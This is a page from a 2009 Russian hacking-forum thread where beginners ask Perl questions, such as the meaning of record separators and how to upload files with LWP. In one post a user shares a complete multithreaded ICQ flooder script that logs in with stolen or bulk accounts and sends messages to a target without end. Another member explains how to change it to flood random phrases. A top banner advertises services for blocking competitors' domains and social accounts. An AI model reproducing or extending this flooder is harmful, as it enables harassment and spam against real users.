Форум АНТИЧАТ - [Perl] Новичкам: задаем вопросы

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz

		Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
[Perl] Новичкам: задаем вопросы

Страница 123 из 156

123

Опции темы

Поиск в этой теме

Опции просмотра

#1221

20.10.2009, 08:12

svesve

Постоянный

Регистрация: 15.06.2007

Сообщений: 527

Провел на форуме:
1734541

Репутация: 214

Нее это то я понимаю, а вт само значение вот этого
$\ = $/ = "\n" я не догоняю

#1222

20.10.2009, 09:01

krypt3r

Познавший АНТИЧАТ

Регистрация: 27.04.2007

Сообщений: 1,044

Провел на форуме:
3660186

Репутация: 905

$\ aka $ORS aka $OUTPUT_RECORD_SEPARATOR - разделитель выходных записей (фактически указатель конца) для print;
$/ aka $INPUT_RECORD_SEPARATOR - разделитель входных записей, по умолчанию - символ перевода строки (0x0a), который применяется функциями readline, оператором <FH>, и функцией chomp.
Подробнее в кэмел-буке.

ЗЫ. Задрало в конце print добавлять \n, особенно когда их много

#1223

20.10.2009, 09:37

svesve

Постоянный

Регистрация: 15.06.2007

Сообщений: 527

Провел на форуме:
1734541

Репутация: 214

Спасибо, будем читать и курить маны )

З.Ы. случаем нет линка на книженцую?!

#1224

20.10.2009, 10:26

krypt3r

Познавший АНТИЧАТ

Регистрация: 27.04.2007

Сообщений: 1,044

Провел на форуме:
3660186

Репутация: 905

Случайно есть - http://files.mail.ru/3KEV1G. Третье издание, русский, естественно

#1225

22.10.2009, 16:46

.::ICH::.

Новичок

Регистрация: 01.08.2009

Сообщений: 8

Провел на форуме:
38871

Репутация: 5

помогите поменять вот это чудо

Код:

#!/usr/bin/perl use warnings; use strict; use threads; use threads::shared; use Socket;  my $targetUin = ;  #кого my $message = ' '; #чем my ($host,$port) = ('login.icq.com', 5190); print "\n$0 (c)oded by C!klodoL-=AzoTkiN=-\n"; my @uins : shared; open(FILE, '<uins.txt'); @uins = <FILE>; close(FILE); chomp(@uins); my $threads = scalar @uins; #количество потоков = количеству асек в файле my @thread; for(1..$threads) { $thread[$_] = threads->create(\&flood); sleep 3 } for(1..$threads) { $thread[$_]->join; }  sub flood {     my ($uin,$password) = split(/;/,shift(@uins));     my $SNAC = "\x00\x00\x00\x01\x00\x01".int2bytes(length($uin)).$uin.     "\x00\x02".int2bytes(length($password)).     substr($password^"\xF3\x26\x81\xC4\x39\x86\xDB\x92\x71\xA3\xB9\xE6\x53\x7A\x95\x7C",0,length($password)).     "\x00\x03\x00\x08\x49\x43\x51\x42\x61\x73\x69\x63\x00\x16\x00\x02\x01\x0A\x00".     "\x17\x00\x02\x00\x14\x00\x18\x00\x02\x00\x22\x00\x19\x00\x02\x00\x00\x00\x1A".     "\x00\x02\x09\x11\x00\x14\x00\x04\x00\x00\x04\x3D\x00\x0F\x00\x02\x65\x6E\x00".     "\x0E\x00\x02\x75\x73";     my $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));     socket(SOCKET,AF_INET,SOCK_STREAM,getprotobyname('tcp'));     connect(SOCKET,sockaddr_in($port,inet_aton($host)));     my $response;     sysread(SOCKET,$response,10);     syswrite(SOCKET,$FLAP.$SNAC);     sysread(SOCKET,$response,65535);     close(SOCKET);      if($response=~/MISMATCH_PASSWD/) { return }     my ($BOS_Host, $BOS_Port, $Cookie);     if(($BOS_Host, $BOS_Port) = $response =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(\d{1,5})/o) {         $Cookie = parsCookie($response);         print "[+] $uin reconnect to: $BOS_Host:$BOS_Port\n"     } else { return }     $SNAC = "\x00\x00\x00\x01\x00\x06\x01\x00".$Cookie;     $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));      socket(SOCKET,AF_INET,SOCK_STREAM,getprotobyname('tcp'));     connect(SOCKET,sockaddr_in($BOS_Port,inet_aton($BOS_Host)));     sysread(SOCKET,$response,10);     syswrite(SOCKET,$FLAP.$SNAC);     sysread(SOCKET,$response,65535);      $SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x01\x00\x03\x01\x10\x02\x8A\x00\x02".     "\x00\x01\x01\x10\x02\x8A\x00\x03\x00\x01\x01\x10\x02\x8A\x00\x15".     "\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10\x02\x8A\x00\x06".     "\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10\x02\x8A\x00\x0A".     "\x00\x01\x01\x10\x02\x8A";     $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));      syswrite(SOCKET,$FLAP.$SNAC);      for(;;) {         $SNAC = "\x00\x04\x00\x06\x00\x00\x00\x00\x00\x02\x1D\x91\xEF\x52\xEA\x92\xD3\x3F\x00\x02".         pack('h',length($targetUin)).$targetUin."\x00\x05".int2bytes(length($message)+102).         "\x00\x00".         "\x1D\x91\xEF\x52\xEA\x92\xD3\x3F\x09\x46\x13\x49\x4C\x7F\x11\xD1\x82\x22\x44\x45\x53\x54\x00\x00".         "\x00\x0A\x00\x02\x00\x01\x00\x0F".         "\x00\x00\x27\x11". #хз         int2bytes(length($message)+62). #61 + длина текста         "\x1B\x00\x08".("\x00"x19).         "\x03\x00\x00\x00".         "\x00\x02\x00\x0E\x00\x02".("\x00"x13).         "\x01\x00\x00\x00\x00".         "\x01".pack('v',length("$message\0")).$message."\x00\x00\x00\x00\x00\xFF\xFF\xFF\x00";         $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));         syswrite(SOCKET,$FLAP.$SNAC);         sleep 2+int(rand(3));         print "$uin send message\n"     }  }  sub int2bytes { return pack('n',shift) } #пакуем в 16битное целое  sub parsCookie { #парсер куки     my $cookie = shift;     my $i++;     for(;;$i++) { last if substr($cookie,$i,4) eq "\x00\x06\x01\x00" }     return substr($cookie,4+$i,256) }  BEGIN {    #счётчик номера пакета     my $seqNum = int(rand(65535));     sub seqNum {         $seqNum++;         $seqNum = 0 if $seqNum > 65535;         return int2bytes($seqNum)     } }

чтобы оно флудило случайными фразами

#1226

22.10.2009, 17:56

svesve

Постоянный

Регистрация: 15.06.2007

Сообщений: 527

Провел на форуме:
1734541

Репутация: 214

каким образом через
$page = $ua->post(....)->as_string;

Можно отдать данные, медиа файл к примеру.

#1227

22.10.2009, 18:08

Kaimi

Reservists Of Antichat - Level 6

Регистрация: 23.08.2007

Сообщений: 1,237

Провел на форуме:
18127311

Репутация: 1676

Отправить сообщение для Kaimi с помощью ICQ

Цитата:

чтобы оно флудило случайными фразами

Замени в начале my $message = '';
На my @message = ('Text1', 'Text2');

Далее после for(;

{
Напиши my $message = $message[rand @message];

Цитата:

каким образом через
$page = $ua->post(....)->as_string;

Можно отдать данные, медиа файл к примеру.

Например залить картинку на сервер что ли?

#1228

22.10.2009, 18:13

svesve

Постоянный

Регистрация: 15.06.2007

Сообщений: 527

Провел на форуме:
1734541

Репутация: 214

Цитата:

Сообщение от Kaimi

Например залить картинку на сервер что ли?

Так точно! Залить картинку

сформирована переменная $data

my $data =
"-----------------------------169211662827935\r\n".
"Content-Disposition: form-data; name=\"act\"\r\n\r\n".
......
......
......
"Content-Disposition: form-data; name=\"file\"; filename=\"logo.jpg\"\r\n".
"Content-Type: image/jpeg\r\n\r\n".
$file."\r\n".
"-----------------------------169211662827935\r\n";

куда присобачить это
"Content-Type: multipart/form-data; boundary=169211662827935\n".
"Content-Length: ".length($data)."\n\n".$data;
?????

и как выглядеть будет $page=$ua->post();

#1229

22.10.2009, 18:27

Kaimi

Reservists Of Antichat - Level 6

Регистрация: 23.08.2007

Сообщений: 1,237

Провел на форуме:
18127311

Репутация: 1676

http://lwp.interglacial.com/ch05_07.htm

#1230

22.10.2009, 18:33

krypt3r

Познавший АНТИЧАТ

Регистрация: 27.04.2007

Сообщений: 1,044

Провел на форуме:
3660186

Репутация: 905

В документации к HTTP::Request::Common есть пример, как прилеплять к посту файл

Код:

POST 'http://www.perl.org/survey.cgi',
  'Content_Type' => 'form-data',
  'Content'      => [ 
    'name'  => 'Gisle Aas',
    'email' => 'gisle@aas.no',
    'gender' => 'M',
    'born'   => '1964',
    'init'   => ["$ENV{HOME}/.profile"],
]

ЗЫ. Нашел вот у себя скрипт, меняющий вконтакте аватару (в еастоящее время он нерабочий в связи с изменениями на сайте). Кусок POST-запроса

Код:

$req = $ua->post ($action, [],
  'Host' => $host,
  'Referer' => $url . 'profileEdit.php?page=photo',
  'Connection' => 'Keep-Alive',
  'Content_Type' => 'form-data',
  'Content' => [
    'subm' => 1,
    'photo' => ['daemon2.jpg']
  ]
);

Последний раз редактировалось krypt3r; 22.10.2009 в 18:37..

Страница 123 из 156

123

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
[php] Новичкам: задаем вопросы	_Great_	PHP, PERL, MySQL, JavaScript	16396	17.06.2010 21:19
[c/c++] Новичкам: задаем вопросы	_Great_	С/С++, C#, Delphi, .NET, Asm	5420	17.06.2010 13:33
Вопросы по Ipb 2.0	Voodoo_People	Форумы	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход